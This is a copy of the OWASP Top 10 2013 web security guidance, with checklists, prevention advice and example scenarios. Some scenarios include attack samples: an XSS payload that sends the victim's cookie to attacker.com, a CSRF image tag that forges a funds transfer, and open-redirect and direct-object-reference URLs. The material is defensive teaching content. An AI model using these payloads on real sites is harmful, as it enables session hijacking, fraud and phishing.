OWASP Top 10 2013

Am I Vulnerable To 'Broken Authentication and Session Management'?

The primary assets to protect are credentials and session IDs.

1. Are credentials always protected when stored using hashing or encryption? See A6.
2. Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs)?
3. Are session IDs exposed in the URL (e.g., URL rewriting)?
4. Are session IDs vulnerable to session fixation attacks?
5. Do session IDs timeout and can users log out?
6. Are session IDs rotated after successful login?
7. Are passwords, session IDs, and other credentials sent only over TLS connections? See A6.

See the ASVS requirement areas V2 and V3 for more details.

How Do I prevent 'Broken Authentication and Session Management'?

The primary recommendation for an organization is to make available to developers:

1. A single set of strong authentication and session management controls. Such controls should strive to:
   • meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).
   • have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
2. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs. See A3.

Am I Vulnerable To 'Cross-Site Scripting (XSS)'?

• Ensure that all user supplied input sent back to the browser is properly escaped before it is included in the output page
• If AJAX is being used to dynamically update the page, you should try to use safe safe JavaScript APIs.
• Automated tools can find some XSS problems automatically. JavaScript, ActiveX, Flash, and Silverlight, makes automated detection difficult. Complete coverage requires a combination of manual code review and pen testing, in addition to automated approaches.

How Do I prevent 'Cross-Site Scripting (XSS)'?

How Do I Prevent XSS? Preventing XSS requires keeping untrusted data separate from active browser content.

1. Escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into.
2. Positive or “whitelist” input validation.
3. For rich content, consider auto-sanitization libraries like OWASP's AntiSamy or the Java HTML Sanitizer Project.
4. Consider Content Security Policy (CSP) to defend against XSS across your entire site.

Example Scenarios

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

                
                  (String) page += "<input name='creditcard' type='TEXT'"
                  + "value='" + request.getParameter("CC") + "'>";
                
              

The attacker modifies the 'CC' parameter in their browser to:

                
                  '><script>document.location='
                  href="http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie">http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
                
              

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A8 for info on CSRF. Detection of most XSS flaws is fairly easy via testing or code analysis.

Am I Vulnerable To 'Insecure Direct Object References'?

Verify that all object references have appropriate defenses. To achieve this, consider:

1. For direct references to restricted resources, the application needs to verify the user is authorized to access the exact resource they have requested.
2. If the reference is an indirect reference, the mapping to the direct reference must be limited to values authorized for the current user.

Code review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.

How Do I prevent 'Insecure Direct Object References'?

Select an approach for protecting each user accessible object (e.g., object number, filename):

1. Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application has to map the per-user indirect reference back to the actual database key on the server. OWASP’s ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references.
2. Check access. Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.

Example Scenarios

The application uses unverified data in a SQL call that is accessing account information:

                
                  String query = "SELECT * FROM accts WHERE account = ?";
                  PreparedStatement pstmt = connection.prepareStatement(query , … );

                  {{red|pstmt.setString( 1, request.getParameter("acct"));}}

                  ResultSet results = pstmt.executeQuery( );
                
              

The attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account.

                
                  http://example.com/app/accountInfo?acct=notmyacct
                
              

Am I Vulnerable To 'Security Misconfiguration'?

Have you performed the proper security hardening across the entire application stack?

1. Do you have a process for keeping all your software up to date?
   - OS, Web/App Server, DBMS, applications, and all code libraries.
2. Is everything unnecessary disabled, removed, or not installed?
   - ports, services, pages, accounts, privileges
3. Are default account passwords changed or disabled?
4. Is your error handling set up to prevent stack traces and other overly informative error messages from leaking?
5. Are the security settings in your development frameworks and libraries understood and configured properly?

A concerted, repeatable process is required to develop and maintain a proper application security configuration.

Example Scenarios

Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverses to get all your custom code. She then finds a serious access control flaw in your application.

Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

Scenario #4: App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server.

Am I Vulnerable To 'Sensitive Data Exposure'?

Determine which data is sensitive enough to require extra protection. For example, passwords, credit card numbers, health records, and personal information. For all such data, ensure:

1. It is encrypted everywhere it is stored long term, including backups of this data.
2. It is encrypted in transit, ideally internally as well as externally. All internet traffic should be encrypted.
3. Strong encryption algorithms are used for all crypto.
4. Strong crypto keys are generated, and proper key management is in place, including key rotation.
5. Proper browser directives and headers are set to protect sensitive data provided by or sent to the browser.

How Do I prevent 'Sensitive Data Exposure'?

At a minimum:

1. Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats.
2. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen.
3. Ensure strong standard algorithms and strong keys are used, and proper key management is in place.
4. Disable autocomplete on forms collecting sensitive data and disable caching for pages displaying sensitive data.

Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt.

Example Scenarios

Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system should have encrypted the credit card numbers using a public key, and only allowed back-end applications to decrypt them with the private key.

Scenario #2: A site simply doesn't use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user’s session cookie. Attacker then replays this cookie and hijacks the user’s session, accessing all their private data.

Scenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be exposed with a rainbow table of precalculated hashes.

Am I Vulnerable To 'Missing Function Level Access Control'?

Verify every application function:

1. Does the UI show navigation to unauthorized functions?
2. Are proper authentication and authorization checked?
3. Are checks done on the server without relying on information provided by the attacker?

Using a proxy, browse your application with a privileged role. Then revisit restricted pages while logged in as a less privileged role. Some proxies support this type of analysis.

Code review control implementation in the code. Try following a single privileged request through the code and verifying the authorization pattern. Then search to ensure that the pattern is followed throughout.

How Do I prevent 'Missing Function Level Access Control'?

Your application should have a consistent and easily analyzable authorization module that is invoked from all your business functions.

1. Think about the process for managing entitlements and ensure you can update and audit easily. Don’t hard code.
2. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific roles for access to every function.
3. If the function is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

Example Scenarios

Scenario #1: The attacker simply opens the target URLs. The following URLs require authentication. Admin rights are also required for access to the “admin_getappInfo” page.

                
                  http://example.com/app/getappInfo
                
              

                
                  http://example.com/app/admin_getappInfo
                
              

If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-admin, user is allowed to access the “admin_getappInfo” page, this is also a flaw, and may lead the attacker to more improperly protected admin pages.

Scenario #2: A page provides an ‘action ‘parameter to specify the function being invoked, and different actions require different roles. If these roles aren’t enforced, that’s a flaw.

Am I Vulnerable To 'Cross-Site Request Forgery (CSRF)'?

See if each link and form includes an unpredictable token. Without such a token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets. You should check multistep transactions, as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript. Note that session cookies, source IP addresses, and other information automatically sent by the browser doesn’t count since this information is also included in forged requests. CSRF Tester tool can help generate test cases to demonstrate the dangers of CSRF flaws.

How Do I prevent 'Cross-Site Request Forgery (CSRF)'?

Usually include of an unpredictable token in each HTTP request. Tokens should, at a minimum, be unique per user session.

1. The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure.
2. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token.
3. Requiring the user to reauthenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF.

OWASP’s CSRF Guard can automatically include such tokens in Java EE, .NET, or PHP apps. OWASP’s ESAPI includes CSRF methods developers can use to prevent such vulnerabilities.

Example Scenarios

The application allows a user to submit a state changing request that does not include anything secret. For example:

                
                  http://example.com/app/transferFunds?amount=1500&
                  destinationAccount=4673243243
                
              

                
                  <img src="
                  http://example.com/app/transferFunds?amount=1500&
                  destinationAccount=attackersAcct#<
                  " width="0" height="0" />
                
              

Am I Vulnerable To 'Using Components with Known Vulnerabilities'?

In theory, it ought to be easy to figure out if you are currently using any vulnerable components or libraries. Unfortunately, vulnerability reports do not always specify exactly which versions of a component are vulnerable in a standard, searchable way. Further, not all libraries use an understandable version numbering system. Worst of all, not all vulnerabilities are reported to a central clearinghouse that is easy to search, although sites like CVE and NVD are becoming easier to search.

Determining if you are vulnerable requires searching these databases, as well as keeping abreast of project mailing lists and announcements for anything that might be a vulnerability. If one of your components does have a vulnerability, you should carefully evaluate whether you are actually vulnerable by checking to see if your code uses the part of the component with the vulnerability and whether the flaw could result in an impact you care about.

How Do I prevent 'Using Components with Known Vulnerabilities'?

One option is not to use components that you didn’t write. But realistically, the best way to deal with this risk is to ensure that you keep your components up-to-date. Many open source projects (and other component sources) do not create vulnerability patches for old versions. Instead, most simply fix the problem in the next version. Software projects should have a process in place to:

1. Identify the components and their versions you are using, including all dependencies. (e.g., the versions plugin).
2. Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up-to-date.
3. Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses.

Example Scenarios

The following two vulnerable components were downloaded 22m times in 2011.

• Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke any web service with full permission.
• Spring Remote Code Execution– Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server.

Every application using either of these vulnerable libraries is vulnerable to attack as both of these components are directly accessible by application users. Other vulnerable libraries, used deeper in an application, may be harder to exploit.

Am I Vulnerable To 'Unvalidated Redirects and Forwards'?

1. Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL is included in any parameter values. If so, verify the parameter(s) are validated to contain only an allowed destination, or element of a destination.
2. Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.
3. If code is unavailable, check all parameters to see if they look like part of a redirect or forward URL destination and test those that do.

How Do I prevent 'Unvalidated Redirects and Forwards'?

Safe use of redirects and forwards can be done in a number of ways:

1. Don’t involve user parameters in calculating the destination.
2. If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user.
   - It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL.
   - Applications can use ESAPI to override the sendRedirect() method to make sure all redirect destinations are safe.

Avoiding such flaws is extremely important as they are a favorite target of phishers trying to gain the user’s trust.

Example Scenarios

Scenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.

                
                  http://www.example.com/redirect.jsp?url=evil.com
                
              

Scenario #2: The application uses forwards to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forwards the attacker to an administrative function that she would not normally be able to access.

                
                  http://www.example.com/boring.jsp?fwd=admin.jsp